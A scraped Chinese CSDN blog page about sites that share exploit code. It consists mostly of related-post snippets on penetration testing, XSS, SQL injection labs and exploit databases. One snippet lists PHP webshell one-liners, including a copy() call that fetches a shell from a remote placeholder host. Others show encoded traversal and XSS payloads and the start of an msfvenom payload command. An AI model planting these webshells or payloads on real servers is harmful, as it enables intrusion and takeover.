渗透攻击代码共享站点

最新推荐文章于 2024-08-04 23:34:35 发布
最新推荐文章于 2024-08-04 23:34:35 发布
阅读量359 收藏 2
点赞数
分类专栏： Metasploit
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_46161993/article/details/107023926
版权
内网渗透-Windows内网渗透
lza20001103的博客
08-15 2004
内网渗透-Windows内网渗透 文章目录内网渗透-Windows内网渗透前言一、信息收集1.1、SPN1.2、端口连接1.3、配置文件1.4、用户信息1.6、会话收集1.7、凭据收集navicat：SecureCRT：Xshell：WinSCP：VNC:1.8、DPAPI1.9、域信任1.10、域传送1.11、DNS记录获取1.12、WIFI1.13、GPP1.14、Seatbelt1.15、Bloodhound1.16、Exchange1.16.1 邮箱用户密码爆破1.16.3 信息收集二、传输通道2.
漫谈同源策略（SOP）和跨域资源共享（CORS）
IerkeU的博客
04-22 4288
漫谈.....
渗透学习测试网站源码打包带走
05-24
渗透学习测试网站源码打包带走。asp+access注入源码；cookie注入源码；DVWA漏洞平台测试源码；ewebeditor；fck漏洞源码；fck突破“_”源码；iis6.0解析漏洞源码；phpcms2008；php包含漏洞源码；WEBSHELL箱子系统V2.0；xss漏洞测试源码；搜索注入源码；制作高级webshell后门附带工具。
渗透常用代码
aibi3754的博客
05-31 1114
PHP相关 <?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?> <?php include "$_GET['_']"; ?> <?php assert($_POST["1"]);?> <?php $url = "http://...
web渗透编码
Blog_inG的博客
09-04 1229
. %2E ' %18 ；%3B / %2F " %22 > %3E   %20 = %3d 回车 %0A ../ %2e%2e%2f ..\ %2e%2e%5c ..\ %252e%252e%255c双层url编码 ../ ..%c0%af utf-8 ..\ ..%c1%9c %3C%2Fp%3E%20%3Cscript%3Ealert(1133441);%3C
渗透基础代码
m0_74322086的博客
09-28 172
学习渗透的一个基础的代码，主要供学习使用，无太大的借鉴作用。
渗透常用编码
dahe
06-12 1317
1.页面编码 在网页设置网页编码<head></head>中加入设置特定html标签 <meta charset="utf">
渗透测试之XSS（跨站脚本攻击）
Hi~ 土拨鼠
12-14 3233
文章目录XSS 漏洞概述XSS 分类XSS 危害XSS 漏洞的验证 XSS 漏洞概述 XSS是OWASP TOP 10 之一。 XSS被称为跨站脚本攻击(Cross-site scripting)，本来应该缩写为CSS，但是由于和CSS（cascading Style Sheets，层叠样式脚本）重名，所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS）完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器，这使得XSS攻击的“想象"空间特别大。 XSS通过将精心构造的
红蓝对抗渗透测试2（第十七课）1
08-03
在这种背景下，引入了Pupy，一个强大的开源跨平台远程管理工具，专用于渗透测试和APT攻击防御。Pupy由Python编写，支持Windows、Linux、OSX和Android等操作系统，具备全内存操作和进程注入等功能。通过Pupy，渗透...
渗透测试-XSS
SK1ng的博客
10-03 2681
XSS 原理 XSS 即跨站脚本攻击(Cross Site Script)，通过构造代码（JS）注入网页中，并由浏览器解释运行这段JS代码，以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页，XSS脚本就会被提取出来。用户浏览器就会解析这段浏览器代码，也就是用户被攻击了 微博、留言板、聊天室、订单等等收集用户输入的地方，都有可能被注入XSS 代码，都存在遭受XSS 攻击的风险，只要没有对用户的输入进行严格的过滤，就会被XSS 攻击 危害 盗取各种用户账户 盗取用户Cookie资料，冒充用户身份进入网
渗透
02-08
渗透
网络渗透技术源码，不错的好资源
04-27
网络渗透技术源码，带大家领略网络技术核心，是学习网络攻防很好的资源！还没有的赶紧下载，所需积分很少。
网站渗透
11-19
文档存放百度云链接 链接失效 联系我
渗透测试平台
08-28
一款渗透测试实战平台。
带SQL注入的一个ASP网站源码
12-06
带SQL注入的一个ASP网站源码，ASP+ACCESS手动注入环境搭建，用来练手不错！
漏洞公开资源库以及渗透代码共享站点
yangheng48的博客
10-04 1242
安全社区比较知名的渗透攻击代码共享站点 Metasploit www.metasploit.com/mpdules Exploit-db www.exploit-db.com PacketStorm packetstormsecurity.com SecurityFocus www.securityfocus.com/bid SecurityReason https://cxsecurity.com/ SecurityVnlns securityvulns.com
简单渗透攻击
weixin_53443776的博客
03-20 7807
针对win（7/10）的简单渗透攻击 前言 这次只是个人的简单实验，请各位学习后不要用于不良途径，可以自行学习，但不要乱用哦！ （！！！学习网络安全法！！！） 一、需要用到的工具 VMware（建议版本是15-16），分别有一台已经搭建好的kali与win（7/10）虚拟机 二、使用步骤 1.使用msf exploit入侵电脑(Win7/Win10皆可) 需要的工具：msfvenom . msfconsole (kali里面有) 制作一个简单的恶意软件，代码如下： msfvenom -p windows/m
渗透小游戏，各个关卡的渗透实例---步骤简单（含代码）
最新发布
Nirvana92的博客
08-04 642
首先，如果想要进入内部，就要绕过，首先是用 ’ 绕过，当然，绕过后会有一个 ’ 空余，所以要 “- -空格”来注释掉，然后通过联合查询来查询到用户权限和数据库名。因为该网页代码id输入有 ’ ’ ，是字符型注入，要单，双引号闭合，所以要 ’ 来绕过。首先，可以看见该界面，该关卡主要是SQL注入，由于对用户的输入没有做过滤，使查询语句进入到了数据库中，查询到了本不应该查询到的数据。这个一眼就知道，是数字型注入，不用单，双引号，所以可以直接进行注入。中，不能导入到指定文件，无法复现。还要3个条件，条件苛刻。
一次渗透中的代码审计
hackzkaq的博客
03-05 169
更多黑客技能 公众号：小道黑客 本文旨在分享思路，不是分享exp然后批量getshell。 首先渗透的起因是这样的。那时候我闲着无聊看看补天的主页，发现有人提交了XX公司XX漏洞，奖金RMBXX元（具体记不太清了）。 然后我就想去捡捡漏。。。貌似大家都喜欢这样？ 百度搜索了一下那公司的名字，找到了他们公司的官网。 一下还看不出是什么CMS，一般这种公司展示的网站都是用CMS做的，不会自己找程序员写新的。 大多都是dede。 拿到这个站后，先看看他的URL。 /news/index.php?c=show
WEB代码与渗透测试案例分析
WEB代码审计与渗透测试是一门专注于网络安全的实践活动，旨在通过系统地分析和审查网站及相关应用程序的源代码，以及通过模拟攻击者的方式，评估和识别潜在的安全风险和漏洞。该领域的实践者通常称为安全研究员或...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

D-A-X

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值